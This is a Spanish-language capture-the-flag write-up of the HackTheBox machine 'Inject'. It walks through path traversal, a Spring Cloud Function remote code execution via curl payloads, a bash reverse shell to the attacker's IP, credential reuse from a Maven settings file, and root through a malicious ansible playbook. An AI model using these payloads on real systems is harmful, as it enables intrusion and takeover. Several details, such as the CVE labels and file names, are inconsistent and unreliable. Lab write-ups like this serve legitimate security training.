8 min to read
Inject - HackTheBox
En esta ocasión voy a resolver una máquina nivel easy de la plataforma HackTheBox llamada Inject, en la que a través de un lfi detectaremos que el sistema corre el framework spring, por lo que detectaremos que es vulnerable a spring4shell.
Como de costumbre comenzamos lanzando nmap para realizar un descubrimiento de puertos abiertos en la máquina víctima.
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
8080/tcp open http-proxy syn-ack
Tras lanzarlo podemos ver que tenemos los puertos 22 y 8080 abiertos, pero necesitamos saber que está corriendo en cada puerto, por lo que lanzo un escaneo nmap un poco más avanzado que me proporcionará más detalles.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
A continuación ya podemos ver algo más de información…
-
En el puerto 22 corre el servicio ssh versión 8.2p1 Ubuntu.
-
En el puerto 8080 tenemos lo que parece un servidor web llamado Nagios NSCA.
A continuación lo que haré es acceder al navegador para investigar un poco el servidor web y ver que tenemos y que podemos hacer.
Aparentemente no hay nada que me pueda servir, ni veo nada relevante… por lo que procedo a fuzzear para buscar rutas en el servidor.
En esta ocasión para cambiar un poco usaré la herramienta dirb.
Como podemos ver tenemos varias rutas pero la que más me llama la atención es la ruta “upload”.
Tras acceder vemos que hay un panel para subir un archivo… por lo que intentaré subir una reverse shell en php, aunque dudo que funcione… parece muy sencillo…
Tras intentar subir el archivo me salta este mensaje.
Como se nos indica solo se pueden subir imágenes… por lo que me creo un archivo llamado foto.png, lo subo y capturo la petición con burp…
touch foto.png
Una vez creada la subo y capturo la petición con burp.
Una vez capturada la petición la paso el repeater y añado una pequeña cadena de texto para comprobar que el archivo se sube y se puede “ejecutar”…
Y al enviar la petición modificada podemos ver que es posible que exista un LFI
Encontramos lo siguiente href="/show_image?img=foto.png"
Por lo que lo pruebo para comprobar si existe un LFI.
❯ curl -X GET 'http://10.10.11.204:8080/show_image?img=foto.png'
{"timestamp":"2023-04-06T17:08:29.000+00:00","status":500,"error":"Internal Server Error","message":"URL [file:/var/www/WebApp/src/main/uploads/foto.png] cannot be resolved in the file system for checking its content length","path":"/show_image"}%
Pero recibo un error, por lo que se me ocurre probar un path transversal.
❯ curl -X GET 'http://10.10.11.204:8080/show_image?img=../'
java
resources
uploads
Y como podemos ver funciona, podemos leer archivos del sistema a través del path transversal.
Enumerando un poco encuentro lo siguiente:
Podemos ver que se está usando el Framework Spring, pero ¿qué es?
Pues preguntemos a papi google.
- Spring es un framework de código abierto que da soporte para el desarrollo de aplicaciones y páginas webs basadas en Java.
Al ver esto lo primero que se me ocurre es Spring4Shell.
Spring4Shell es una vulnerabilidad muy conocida en este framework.
- Spring4Shell es una vulnerabilidad de tipo RCE que se identifica como CVE-2022-22965, y es considerada una vulnerabilidad de alto impacto.
- Spring4Shell, permite la ejecución de código remoto en aplicaciones Spring MVC o Spring WebFlux que se ejecuten en JDK9+ a través del enlace de datos o data binding.
Ahora que ya sabemos un poco más de la vulnerabilidad vamos a explotarla, y buscando información sobre como explotarla encuentro el siguiente post.
[CVE-2022-22963]{https://github.com/darryk10/CVE-2022-22963}
Para explotarla usaré la herramienta curl y añadiré una serie de parámetros y la data que necesitamos para explotarla.
curl -X POST -H 'Host: http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/elc4br4")' --data-binary -v
Con este comando podremos comprobar si realmente es vulnerable a spring4shell, ya que crearemos un archivo en el directorio /tmp llamado elc4br4.
Como se aprecia en la imágen, el archivo se crea, por lo que ya sabemos que es vulnerable a Spring4Shell y que podemos ejecutar comandos en la máquina víctima.
A continuación el siguiente paso es ganar acceso a la máquina, y para ello simplemente crearé en mi máquina un pequeño archivo en bash con una reverse shell.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.16/443 0>&1
A continuación nos abrimos un servidor python3 con el comando python3 -m http.server 8080
y ponemos netcat en escucha en el puerto 443 sudo nc -lnvp 443
.
Y ejecutamos el siguiente comando para pasar el archivo shell.sh a la máquina víctima.
curl -X POST 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16:8080/shell.sh -o /tmp/shell.sh")' --data-binary -v
Una vez subido el archivo solo debemos darle permisos y después ejecutarlo con los siguientes comandos.
curl -X POST 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/shell.sh")' --data-binary -v
Y una vez tiene permisos lo ejecutamos y ganamos acceso.
curl -X POST 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/elc4br4.sh")' --data-binary -v
Y conseguimos acceso a la máquina.
❯ sudo nc -lnvp 443
[sudo] password for elc4br4:
listening on [any] 443 ...pgi
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.204] 39810
bash: cannot set terminal process group (830): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
bash-5.0$ whoami
whoami
frank
Estamos autenticados con el usuaro frank, por lo que el primer paso será enumerar en busca de vectores de escalada, ya que como vimos anteriormente en el archivo passwd tenemos otro usuario llamado phil, por lo que debemos realizar un movimiento lateral para migrarnos a este usuario.
Enumerando un poco encuentro en la ruta /home/frank/.m2
un archivo .xml
bash-5.0$ pwd
pwd
/home/frank/.m2
bash-5.0$ ls -la
ls -la
total 12
drwx------ 2 frank frank 4096 Feb 1 18:38 .
drwxr-xr-x 5 frank frank 4096 Feb 1 18:38 ..
-rw-r----- 1 root frank 617 Jan 31 16:55 settings.xml
bash-5.0$ cat settings.xml
cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
En este archivo podemos ver unas credenciales que son del usuario phil –> DocPhillovestoInject123
Por lo que me migro al usuario phill con su phil
e introduzco la contraseña.
Tras convertirnos en el usuario phill el siguiente paso es escalar privilegios para convertirnos en root.
Para ello lanzo primeramente pspy64 para buscar procesos en ejecución ocultos.
Tras lanzarlo espero unos segundos y encuentro lo siguiente:
Podemos ver que se ejecuta python3 tirando de ansible-playbook lanzando un archivo .yml que analizaré a continuación.
bash-5.0$ cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
Podríamos intentar ejecutar comandos a través de este archivo, añadiéndole el comando que queramos ejecutar, que en este caso será chmod u+s /bin/bash
para asignar permisos SUID a la bash.
Asique creamos un archivo en la misma ruta con esta sintaxis, añadiendo el comando.
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ansible-playbook-privilege-escalation/
- hosts: localhost
tasks:
- name: Privilege Escalation
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
Como se puede ver ya hemos convertido la bash a SUID y si eejcutamos bash p
nos convertimos en root.
Y ya podemos leer la flag del usuario root.